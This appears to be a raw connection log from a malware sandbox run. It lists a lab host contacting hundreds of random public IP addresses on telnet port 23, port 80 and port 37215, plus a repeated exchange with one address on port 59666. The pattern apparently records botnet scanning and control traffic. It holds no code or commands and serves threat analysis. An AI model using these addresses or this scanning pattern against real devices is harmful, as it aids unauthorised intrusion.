Jan 5, 2025 14:34:54.059793949 CET	80	29477	92.178.11.42	192.168.2.13
Jan 5, 2025 14:34:54.059804916 CET	80	29477	203.249.13.96	192.168.2.13
Jan 5, 2025 14:34:54.059839010 CET	29477	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:54.059839964 CET	29477	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:54.060002089 CET	37630	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:54.060103893 CET	80	29477	95.67.170.147	192.168.2.13
Jan 5, 2025 14:34:54.060164928 CET	29477	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:54.060225964 CET	45156	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:54.060602903 CET	80	36922	166.179.233.91	192.168.2.13
Jan 5, 2025 14:34:54.060614109 CET	37215	59016	156.195.220.109	192.168.2.13
Jan 5, 2025 14:34:54.060899019 CET	43054	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:54.060899019 CET	43054	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:54.061103106 CET	43788	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:54.061103106 CET	43788	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:54.061177015 CET	37215	44628	156.64.87.47	192.168.2.13
Jan 5, 2025 14:34:54.061235905 CET	44628	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:54.061724901 CET	43424	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:54.061842918 CET	44232	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:54.062369108 CET	80	41778	120.75.215.22	192.168.2.13
Jan 5, 2025 14:34:54.062463999 CET	37215	54868	197.196.5.50	192.168.2.13
Jan 5, 2025 14:34:54.062711000 CET	58112	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.062711000 CET	58112	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.063390970 CET	58482	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.063862085 CET	47546	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:54.063875914 CET	47546	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:54.063972950 CET	80	37260	143.189.106.192	192.168.2.13
Jan 5, 2025 14:34:54.064150095 CET	50830	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:54.064152956 CET	51336	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:54.064162970 CET	49540	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:54.064163923 CET	47828	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:54.064166069 CET	37215	44712	156.29.43.93	192.168.2.13
Jan 5, 2025 14:34:54.064167023 CET	55264	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:54.064174891 CET	51040	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:54.064182043 CET	46498	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:54.064184904 CET	57544	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:54.064188004 CET	41292	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:54.064192057 CET	52338	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:54.064194918 CET	38688	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:54.064196110 CET	33316	80	192.168.2.13	126.216.109.113
Jan 5, 2025 14:34:54.064198017 CET	59744	80	192.168.2.13	166.193.19.8
Jan 5, 2025 14:34:54.064208031 CET	35464	80	192.168.2.13	77.51.64.168
Jan 5, 2025 14:34:54.064208984 CET	45144	80	192.168.2.13	46.69.101.35
Jan 5, 2025 14:34:54.064254045 CET	47902	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:54.064677954 CET	41164	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:54.064690113 CET	41164	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:54.065263033 CET	41514	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:54.065670967 CET	80	43054	188.234.143.250	192.168.2.13
Jan 5, 2025 14:34:54.065743923 CET	34570	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:54.065758944 CET	34570	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:54.065860987 CET	37215	43788	41.252.167.172	192.168.2.13
Jan 5, 2025 14:34:54.066082954 CET	34800	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:54.066956997 CET	44432	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:54.067529917 CET	80	58112	48.250.215.171	192.168.2.13
Jan 5, 2025 14:34:54.067806005 CET	36312	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:54.068187952 CET	80	58482	48.250.215.171	192.168.2.13
Jan 5, 2025 14:34:54.068245888 CET	58482	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.068542004 CET	39838	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:54.068631887 CET	80	47546	220.83.51.33	192.168.2.13
Jan 5, 2025 14:34:54.069102049 CET	58482	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.069109917 CET	49834	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:54.069109917 CET	49834	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:54.069458961 CET	80	41164	1.166.123.153	192.168.2.13
Jan 5, 2025 14:34:54.069470882 CET	50074	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:54.069901943 CET	38472	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:54.069901943 CET	38472	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:54.070329905 CET	38644	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:54.070528030 CET	80	34570	113.255.83.238	192.168.2.13
Jan 5, 2025 14:34:54.070739031 CET	41514	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:54.070739031 CET	41514	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:54.071113110 CET	41684	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:54.071548939 CET	39636	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:54.071548939 CET	39636	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:54.071943045 CET	39804	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:54.073915005 CET	80	49834	95.145.163.29	192.168.2.13
Jan 5, 2025 14:34:54.073964119 CET	80	58482	48.250.215.171	192.168.2.13
Jan 5, 2025 14:34:54.074037075 CET	58482	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.074644089 CET	80	38472	5.252.142.147	192.168.2.13
Jan 5, 2025 14:34:54.075516939 CET	80	41514	161.107.166.33	192.168.2.13
Jan 5, 2025 14:34:54.076323986 CET	80	39636	72.145.72.193	192.168.2.13
Jan 5, 2025 14:34:54.103574038 CET	37215	54868	197.196.5.50	192.168.2.13
Jan 5, 2025 14:34:54.103583097 CET	80	41778	120.75.215.22	192.168.2.13
Jan 5, 2025 14:34:54.103591919 CET	37215	59016	156.195.220.109	192.168.2.13
Jan 5, 2025 14:34:54.103600025 CET	80	36922	166.179.233.91	192.168.2.13
Jan 5, 2025 14:34:54.107510090 CET	37215	43788	41.252.167.172	192.168.2.13
Jan 5, 2025 14:34:54.107518911 CET	80	43054	188.234.143.250	192.168.2.13
Jan 5, 2025 14:34:54.107527018 CET	37215	44712	156.29.43.93	192.168.2.13
Jan 5, 2025 14:34:54.107534885 CET	80	37260	143.189.106.192	192.168.2.13
Jan 5, 2025 14:34:54.115514994 CET	80	34570	113.255.83.238	192.168.2.13
Jan 5, 2025 14:34:54.115524054 CET	80	41164	1.166.123.153	192.168.2.13
Jan 5, 2025 14:34:54.115531921 CET	80	47546	220.83.51.33	192.168.2.13
Jan 5, 2025 14:34:54.115539074 CET	80	58112	48.250.215.171	192.168.2.13
Jan 5, 2025 14:34:54.115547895 CET	80	38472	5.252.142.147	192.168.2.13
Jan 5, 2025 14:34:54.115556002 CET	80	49834	95.145.163.29	192.168.2.13
Jan 5, 2025 14:34:54.119503975 CET	80	39636	72.145.72.193	192.168.2.13
Jan 5, 2025 14:34:54.119513035 CET	80	41514	161.107.166.33	192.168.2.13
Jan 5, 2025 14:34:54.256025076 CET	52296	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:54.260862112 CET	59666	52296	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:54.260921001 CET	52296	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:54.261883020 CET	52296	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:54.266648054 CET	59666	52296	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:54.266741991 CET	52296	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:54.271539927 CET	59666	52296	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:54.800332069 CET	52534	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:54.800335884 CET	37608	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:54.800334930 CET	40742	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:54.800335884 CET	44464	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:54.800335884 CET	59722	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:54.800334930 CET	49268	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:54.800338030 CET	59588	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:54.800338030 CET	56082	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:54.800338984 CET	34942	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:54.800359964 CET	49868	23	192.168.2.13	148.18.74.211
Jan 5, 2025 14:34:54.800359964 CET	49018	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:54.800371885 CET	43350	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:54.800388098 CET	40140	23	192.168.2.13	151.167.86.164
Jan 5, 2025 14:34:54.800388098 CET	41724	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:54.805548906 CET	37215	37608	41.172.233.144	192.168.2.13
Jan 5, 2025 14:34:54.805563927 CET	80	52534	183.180.216.81	192.168.2.13
Jan 5, 2025 14:34:54.805573940 CET	80	40742	166.131.190.80	192.168.2.13
Jan 5, 2025 14:34:54.805583954 CET	37215	59588	156.195.230.243	192.168.2.13
Jan 5, 2025 14:34:54.805593967 CET	80	49268	60.208.214.47	192.168.2.13
Jan 5, 2025 14:34:54.805603027 CET	80	56082	122.134.154.13	192.168.2.13
Jan 5, 2025 14:34:54.805613041 CET	37215	44464	41.200.188.11	192.168.2.13
Jan 5, 2025 14:34:54.805622101 CET	80	59722	157.253.86.180	192.168.2.13
Jan 5, 2025 14:34:54.805628061 CET	52534	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:54.805632114 CET	80	43350	2.208.165.87	192.168.2.13
Jan 5, 2025 14:34:54.805632114 CET	37608	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:54.805635929 CET	40742	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:54.805635929 CET	49268	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:54.805640936 CET	59588	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:54.805640936 CET	56082	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:54.805641890 CET	44464	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:54.805641890 CET	59722	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:54.805644035 CET	80	34942	105.76.238.137	192.168.2.13
Jan 5, 2025 14:34:54.805654049 CET	23	49868	148.18.74.211	192.168.2.13
Jan 5, 2025 14:34:54.805664062 CET	37215	49018	197.125.8.61	192.168.2.13
Jan 5, 2025 14:34:54.805674076 CET	43350	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:54.805675030 CET	23	40140	151.167.86.164	192.168.2.13
Jan 5, 2025 14:34:54.805680037 CET	34942	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:54.805685043 CET	80	41724	70.180.28.131	192.168.2.13
Jan 5, 2025 14:34:54.805701971 CET	49868	23	192.168.2.13	148.18.74.211
Jan 5, 2025 14:34:54.805701971 CET	49018	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:54.805706024 CET	40140	23	192.168.2.13	151.167.86.164
Jan 5, 2025 14:34:54.805737019 CET	41724	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:54.805792093 CET	44464	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:54.805804014 CET	37608	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:54.805808067 CET	59588	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:54.805809021 CET	29476	23	192.168.2.13	48.5.203.252
Jan 5, 2025 14:34:54.805809021 CET	29476	23	192.168.2.13	194.25.47.44
Jan 5, 2025 14:34:54.805839062 CET	29476	23	192.168.2.13	114.8.40.27
Jan 5, 2025 14:34:54.805836916 CET	29476	23	192.168.2.13	36.215.1.110
Jan 5, 2025 14:34:54.805841923 CET	29476	23	192.168.2.13	172.102.221.40
Jan 5, 2025 14:34:54.805844069 CET	29476	23	192.168.2.13	148.78.121.44
Jan 5, 2025 14:34:54.805844069 CET	29476	23	192.168.2.13	158.26.74.51
Jan 5, 2025 14:34:54.805844069 CET	29476	23	192.168.2.13	163.77.213.202
Jan 5, 2025 14:34:54.805862904 CET	29476	23	192.168.2.13	144.236.219.192
Jan 5, 2025 14:34:54.805864096 CET	29476	23	192.168.2.13	168.250.73.115
Jan 5, 2025 14:34:54.805862904 CET	29476	23	192.168.2.13	112.203.68.103
Jan 5, 2025 14:34:54.805880070 CET	29476	23	192.168.2.13	126.40.86.173
Jan 5, 2025 14:34:54.805888891 CET	29476	23	192.168.2.13	156.132.166.30
Jan 5, 2025 14:34:54.805893898 CET	29476	23	192.168.2.13	88.220.50.7
Jan 5, 2025 14:34:54.805898905 CET	29476	23	192.168.2.13	2.52.163.3
Jan 5, 2025 14:34:54.805901051 CET	29476	23	192.168.2.13	54.117.45.253
Jan 5, 2025 14:34:54.805903912 CET	29476	23	192.168.2.13	104.149.142.81
Jan 5, 2025 14:34:54.805921078 CET	29476	23	192.168.2.13	98.6.85.60
Jan 5, 2025 14:34:54.805921078 CET	29476	23	192.168.2.13	76.206.41.163
Jan 5, 2025 14:34:54.805924892 CET	29476	23	192.168.2.13	185.67.107.191
Jan 5, 2025 14:34:54.805938959 CET	29476	23	192.168.2.13	120.21.220.176
Jan 5, 2025 14:34:54.805938959 CET	29476	23	192.168.2.13	187.165.255.193
Jan 5, 2025 14:34:54.805957079 CET	29476	23	192.168.2.13	134.200.47.25
Jan 5, 2025 14:34:54.805957079 CET	29476	23	192.168.2.13	9.39.60.216
Jan 5, 2025 14:34:54.805973053 CET	29476	23	192.168.2.13	122.88.49.87
Jan 5, 2025 14:34:54.805973053 CET	29476	23	192.168.2.13	203.136.232.133
Jan 5, 2025 14:34:54.805974007 CET	29476	23	192.168.2.13	107.106.165.84
Jan 5, 2025 14:34:54.805980921 CET	29476	23	192.168.2.13	83.89.210.103
Jan 5, 2025 14:34:54.805988073 CET	29476	23	192.168.2.13	65.134.240.30
Jan 5, 2025 14:34:54.805991888 CET	29476	23	192.168.2.13	38.186.144.47
Jan 5, 2025 14:34:54.805995941 CET	29476	23	192.168.2.13	23.68.45.153
Jan 5, 2025 14:34:54.806006908 CET	29476	23	192.168.2.13	124.248.58.143
Jan 5, 2025 14:34:54.806015015 CET	29476	23	192.168.2.13	95.60.77.152
Jan 5, 2025 14:34:54.806020975 CET	29476	23	192.168.2.13	45.147.201.199
Jan 5, 2025 14:34:54.806025028 CET	29476	23	192.168.2.13	12.131.215.195
Jan 5, 2025 14:34:54.806035042 CET	29476	23	192.168.2.13	168.23.181.148
Jan 5, 2025 14:34:54.806042910 CET	29476	23	192.168.2.13	206.72.34.160
Jan 5, 2025 14:34:54.806042910 CET	29476	23	192.168.2.13	23.102.79.84
Jan 5, 2025 14:34:54.806046009 CET	49018	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:54.806046009 CET	29476	23	192.168.2.13	139.178.127.252
Jan 5, 2025 14:34:54.806046009 CET	29476	23	192.168.2.13	192.232.13.144
Jan 5, 2025 14:34:54.806047916 CET	29476	23	192.168.2.13	182.170.24.14
Jan 5, 2025 14:34:54.806056023 CET	29476	23	192.168.2.13	124.35.71.130
Jan 5, 2025 14:34:54.806062937 CET	29476	23	192.168.2.13	174.6.174.102
Jan 5, 2025 14:34:54.806067944 CET	29476	23	192.168.2.13	149.250.163.1
Jan 5, 2025 14:34:54.806077003 CET	29476	23	192.168.2.13	137.130.37.159
Jan 5, 2025 14:34:54.806085110 CET	29476	23	192.168.2.13	213.213.241.213
Jan 5, 2025 14:34:54.806086063 CET	29476	23	192.168.2.13	86.51.38.58
Jan 5, 2025 14:34:54.806097984 CET	29476	23	192.168.2.13	18.211.9.51
Jan 5, 2025 14:34:54.806109905 CET	29476	23	192.168.2.13	197.7.157.129
Jan 5, 2025 14:34:54.806116104 CET	29476	23	192.168.2.13	161.194.210.100
Jan 5, 2025 14:34:54.806116104 CET	29476	23	192.168.2.13	130.84.35.200
Jan 5, 2025 14:34:54.806119919 CET	29476	23	192.168.2.13	171.239.80.177
Jan 5, 2025 14:34:54.806133032 CET	29476	23	192.168.2.13	89.213.95.104
Jan 5, 2025 14:34:54.806140900 CET	29476	23	192.168.2.13	95.17.196.205
Jan 5, 2025 14:34:54.806142092 CET	29476	23	192.168.2.13	105.17.73.177
Jan 5, 2025 14:34:54.806145906 CET	29476	23	192.168.2.13	57.112.145.174
Jan 5, 2025 14:34:54.806149960 CET	29476	23	192.168.2.13	182.22.136.139
Jan 5, 2025 14:34:54.806159973 CET	29476	23	192.168.2.13	80.101.123.90
Jan 5, 2025 14:34:54.806180000 CET	29476	23	192.168.2.13	59.153.121.19
Jan 5, 2025 14:34:54.806180000 CET	29476	23	192.168.2.13	61.224.121.23
Jan 5, 2025 14:34:54.806183100 CET	29476	23	192.168.2.13	195.43.33.60
Jan 5, 2025 14:34:54.806201935 CET	29476	23	192.168.2.13	18.15.44.77
Jan 5, 2025 14:34:54.806201935 CET	29476	23	192.168.2.13	25.88.4.35
Jan 5, 2025 14:34:54.806201935 CET	29476	23	192.168.2.13	156.248.164.44
Jan 5, 2025 14:34:54.806201935 CET	29476	23	192.168.2.13	71.152.3.140
Jan 5, 2025 14:34:54.806221008 CET	29476	23	192.168.2.13	203.155.226.91
Jan 5, 2025 14:34:54.806221008 CET	29476	23	192.168.2.13	58.69.184.123
Jan 5, 2025 14:34:54.806224108 CET	29476	23	192.168.2.13	116.253.175.160
Jan 5, 2025 14:34:54.806224108 CET	29476	23	192.168.2.13	183.117.50.190
Jan 5, 2025 14:34:54.806252956 CET	29476	23	192.168.2.13	138.16.214.136
Jan 5, 2025 14:34:54.806252956 CET	29476	23	192.168.2.13	109.186.187.139
Jan 5, 2025 14:34:54.806256056 CET	29476	23	192.168.2.13	111.124.222.227
Jan 5, 2025 14:34:54.806256056 CET	29476	23	192.168.2.13	200.150.171.55
Jan 5, 2025 14:34:54.806265116 CET	29476	23	192.168.2.13	179.127.15.161
Jan 5, 2025 14:34:54.806278944 CET	29476	23	192.168.2.13	62.79.28.124
Jan 5, 2025 14:34:54.806287050 CET	29476	23	192.168.2.13	173.13.17.20
Jan 5, 2025 14:34:54.806293011 CET	29476	23	192.168.2.13	130.172.115.183
Jan 5, 2025 14:34:54.806294918 CET	29476	23	192.168.2.13	67.116.165.45
Jan 5, 2025 14:34:54.806312084 CET	29476	23	192.168.2.13	159.214.225.247
Jan 5, 2025 14:34:54.806315899 CET	29476	23	192.168.2.13	108.29.4.54
Jan 5, 2025 14:34:54.806318998 CET	29476	23	192.168.2.13	76.205.68.69
Jan 5, 2025 14:34:54.806333065 CET	29476	23	192.168.2.13	103.64.166.59
Jan 5, 2025 14:34:54.806334019 CET	29476	23	192.168.2.13	180.165.141.88
Jan 5, 2025 14:34:54.806335926 CET	29476	23	192.168.2.13	61.164.201.245
Jan 5, 2025 14:34:54.806337118 CET	29476	23	192.168.2.13	51.239.127.204
Jan 5, 2025 14:34:54.806350946 CET	29476	23	192.168.2.13	140.214.88.104
Jan 5, 2025 14:34:54.806353092 CET	29476	23	192.168.2.13	4.60.26.200
Jan 5, 2025 14:34:54.806355000 CET	29476	23	192.168.2.13	165.8.25.182
Jan 5, 2025 14:34:54.806370020 CET	29476	23	192.168.2.13	63.55.80.10
Jan 5, 2025 14:34:54.806372881 CET	29476	23	192.168.2.13	182.43.69.55
Jan 5, 2025 14:34:54.806381941 CET	29476	23	192.168.2.13	154.31.192.190
Jan 5, 2025 14:34:54.806386948 CET	29476	23	192.168.2.13	113.89.103.66
Jan 5, 2025 14:34:54.806391954 CET	29476	23	192.168.2.13	62.16.253.81
Jan 5, 2025 14:34:54.806394100 CET	29476	23	192.168.2.13	157.150.217.138
Jan 5, 2025 14:34:54.806401014 CET	29476	23	192.168.2.13	209.132.214.194
Jan 5, 2025 14:34:54.806412935 CET	29476	23	192.168.2.13	135.106.24.136
Jan 5, 2025 14:34:54.806418896 CET	29476	23	192.168.2.13	119.117.25.224
Jan 5, 2025 14:34:54.806418896 CET	29476	23	192.168.2.13	143.95.131.67
Jan 5, 2025 14:34:54.806422949 CET	29476	23	192.168.2.13	212.137.176.161
Jan 5, 2025 14:34:54.806432009 CET	29476	23	192.168.2.13	179.95.163.62
Jan 5, 2025 14:34:54.806440115 CET	29476	23	192.168.2.13	137.254.79.222
Jan 5, 2025 14:34:54.806442022 CET	29476	23	192.168.2.13	160.222.203.37
Jan 5, 2025 14:34:54.806456089 CET	29476	23	192.168.2.13	199.195.196.78
Jan 5, 2025 14:34:54.806468964 CET	29476	23	192.168.2.13	108.235.132.190
Jan 5, 2025 14:34:54.806468964 CET	29476	23	192.168.2.13	221.132.146.231
Jan 5, 2025 14:34:54.806469917 CET	29476	23	192.168.2.13	179.68.105.207
Jan 5, 2025 14:34:54.806480885 CET	29476	23	192.168.2.13	67.242.110.187
Jan 5, 2025 14:34:54.806488991 CET	29476	23	192.168.2.13	70.19.118.162
Jan 5, 2025 14:34:54.806489944 CET	29476	23	192.168.2.13	131.111.137.18
Jan 5, 2025 14:34:54.806489944 CET	29476	23	192.168.2.13	179.244.133.64
Jan 5, 2025 14:34:54.806497097 CET	29476	23	192.168.2.13	203.77.225.125
Jan 5, 2025 14:34:54.806502104 CET	29476	23	192.168.2.13	131.237.115.170
Jan 5, 2025 14:34:54.806526899 CET	29476	23	192.168.2.13	34.69.92.158
Jan 5, 2025 14:34:54.806526899 CET	29476	23	192.168.2.13	173.170.128.110
Jan 5, 2025 14:34:54.806529045 CET	29476	23	192.168.2.13	210.210.206.63
Jan 5, 2025 14:34:54.806530952 CET	29476	23	192.168.2.13	169.38.205.238
Jan 5, 2025 14:34:54.806530952 CET	29476	23	192.168.2.13	85.237.62.92
Jan 5, 2025 14:34:54.806541920 CET	29476	23	192.168.2.13	183.248.4.7
Jan 5, 2025 14:34:54.806544065 CET	29476	23	192.168.2.13	183.189.198.191
Jan 5, 2025 14:34:54.806544065 CET	29476	23	192.168.2.13	144.145.111.105
Jan 5, 2025 14:34:54.806544065 CET	29476	23	192.168.2.13	174.108.250.34
Jan 5, 2025 14:34:54.806557894 CET	29476	23	192.168.2.13	63.4.40.128
Jan 5, 2025 14:34:54.806567907 CET	29476	23	192.168.2.13	111.42.46.63
Jan 5, 2025 14:34:54.806571007 CET	29476	23	192.168.2.13	164.76.56.130
Jan 5, 2025 14:34:54.806575060 CET	29476	23	192.168.2.13	153.89.0.52
Jan 5, 2025 14:34:54.806591034 CET	29476	23	192.168.2.13	20.17.30.98
Jan 5, 2025 14:34:54.806593895 CET	29476	23	192.168.2.13	180.197.249.181
Jan 5, 2025 14:34:54.806593895 CET	29476	23	192.168.2.13	163.226.209.203
Jan 5, 2025 14:34:54.806593895 CET	29476	23	192.168.2.13	223.147.228.41
Jan 5, 2025 14:34:54.806608915 CET	29476	23	192.168.2.13	20.93.115.47
Jan 5, 2025 14:34:54.806611061 CET	29476	23	192.168.2.13	42.15.121.25
Jan 5, 2025 14:34:54.806612015 CET	29476	23	192.168.2.13	20.242.137.223
Jan 5, 2025 14:34:54.806617975 CET	29476	23	192.168.2.13	48.112.228.172
Jan 5, 2025 14:34:54.806617975 CET	29476	23	192.168.2.13	68.17.230.224
Jan 5, 2025 14:34:54.806634903 CET	29476	23	192.168.2.13	32.224.211.58
Jan 5, 2025 14:34:54.806648970 CET	29476	23	192.168.2.13	205.43.147.97
Jan 5, 2025 14:34:54.806655884 CET	29476	23	192.168.2.13	218.110.185.186
Jan 5, 2025 14:34:54.806655884 CET	29476	23	192.168.2.13	101.212.181.34
Jan 5, 2025 14:34:54.806659937 CET	29476	23	192.168.2.13	180.61.49.229
Jan 5, 2025 14:34:54.806674004 CET	29476	23	192.168.2.13	168.134.90.172
Jan 5, 2025 14:34:54.806677103 CET	29476	23	192.168.2.13	123.157.34.206
Jan 5, 2025 14:34:54.806677103 CET	29476	23	192.168.2.13	2.1.98.123
Jan 5, 2025 14:34:54.806683064 CET	29476	23	192.168.2.13	102.15.181.32
Jan 5, 2025 14:34:54.806696892 CET	29476	23	192.168.2.13	186.126.163.190
Jan 5, 2025 14:34:54.806698084 CET	29476	23	192.168.2.13	72.114.128.226
Jan 5, 2025 14:34:54.806701899 CET	29476	23	192.168.2.13	2.24.89.39
Jan 5, 2025 14:34:54.806714058 CET	29476	23	192.168.2.13	188.17.178.29
Jan 5, 2025 14:34:54.806714058 CET	29476	23	192.168.2.13	59.145.131.136
Jan 5, 2025 14:34:54.806718111 CET	29476	23	192.168.2.13	186.167.232.146
Jan 5, 2025 14:34:54.806726933 CET	29476	23	192.168.2.13	91.33.238.210
Jan 5, 2025 14:34:54.806732893 CET	29476	23	192.168.2.13	12.142.80.180
Jan 5, 2025 14:34:54.806745052 CET	29476	23	192.168.2.13	152.26.42.201
Jan 5, 2025 14:34:54.806745052 CET	29476	23	192.168.2.13	146.202.75.214
Jan 5, 2025 14:34:54.806756973 CET	29476	23	192.168.2.13	79.124.175.77
Jan 5, 2025 14:34:54.806761026 CET	29476	23	192.168.2.13	108.177.131.118
Jan 5, 2025 14:34:54.806766033 CET	29476	23	192.168.2.13	40.96.152.251
Jan 5, 2025 14:34:54.806771994 CET	29476	23	192.168.2.13	193.29.101.142
Jan 5, 2025 14:34:54.806773901 CET	29476	23	192.168.2.13	32.213.157.188
Jan 5, 2025 14:34:54.806783915 CET	29476	23	192.168.2.13	63.75.248.80
Jan 5, 2025 14:34:54.806783915 CET	29476	23	192.168.2.13	150.123.32.101
Jan 5, 2025 14:34:54.806791067 CET	29476	23	192.168.2.13	114.173.199.175
Jan 5, 2025 14:34:54.806796074 CET	29476	23	192.168.2.13	20.252.252.202
Jan 5, 2025 14:34:54.806826115 CET	29476	23	192.168.2.13	66.94.214.154
Jan 5, 2025 14:34:54.806829929 CET	29476	23	192.168.2.13	164.18.65.65
Jan 5, 2025 14:34:54.806829929 CET	29476	23	192.168.2.13	120.107.228.201
Jan 5, 2025 14:34:54.806830883 CET	29476	23	192.168.2.13	182.240.108.192
Jan 5, 2025 14:34:54.806829929 CET	29476	23	192.168.2.13	17.130.246.253
Jan 5, 2025 14:34:54.806838989 CET	29476	23	192.168.2.13	168.210.27.57
Jan 5, 2025 14:34:54.806829929 CET	29476	23	192.168.2.13	44.236.23.199
Jan 5, 2025 14:34:54.806830883 CET	29476	23	192.168.2.13	163.135.25.182
Jan 5, 2025 14:34:54.806829929 CET	29476	23	192.168.2.13	144.58.20.114
Jan 5, 2025 14:34:54.806843042 CET	29476	23	192.168.2.13	140.197.87.119
Jan 5, 2025 14:34:54.806858063 CET	29476	23	192.168.2.13	108.158.34.159
Jan 5, 2025 14:34:54.806858063 CET	29476	23	192.168.2.13	24.174.91.255
Jan 5, 2025 14:34:54.806859970 CET	29476	23	192.168.2.13	38.224.154.48
Jan 5, 2025 14:34:54.806862116 CET	29476	23	192.168.2.13	52.22.204.120
Jan 5, 2025 14:34:54.806874037 CET	29476	23	192.168.2.13	67.140.211.201
Jan 5, 2025 14:34:54.806875944 CET	29476	23	192.168.2.13	143.107.237.204
Jan 5, 2025 14:34:54.806876898 CET	29476	23	192.168.2.13	136.49.211.150
Jan 5, 2025 14:34:54.806884050 CET	29476	23	192.168.2.13	220.236.119.254
Jan 5, 2025 14:34:54.806900024 CET	29476	23	192.168.2.13	71.39.67.152
Jan 5, 2025 14:34:54.806906939 CET	29476	23	192.168.2.13	20.216.201.215
Jan 5, 2025 14:34:54.806906939 CET	29476	23	192.168.2.13	123.33.111.22
Jan 5, 2025 14:34:54.806906939 CET	29476	23	192.168.2.13	93.114.84.55
Jan 5, 2025 14:34:54.806909084 CET	29476	23	192.168.2.13	54.105.138.117
Jan 5, 2025 14:34:54.806925058 CET	29476	23	192.168.2.13	189.95.10.138
Jan 5, 2025 14:34:54.806925058 CET	29476	23	192.168.2.13	36.131.154.4
Jan 5, 2025 14:34:54.806941032 CET	29476	23	192.168.2.13	87.77.139.167
Jan 5, 2025 14:34:54.806946993 CET	29476	23	192.168.2.13	139.227.53.30
Jan 5, 2025 14:34:54.806946993 CET	29476	23	192.168.2.13	78.172.30.16
Jan 5, 2025 14:34:54.806946993 CET	29476	23	192.168.2.13	75.27.22.42
Jan 5, 2025 14:34:54.806958914 CET	29476	23	192.168.2.13	209.83.81.249
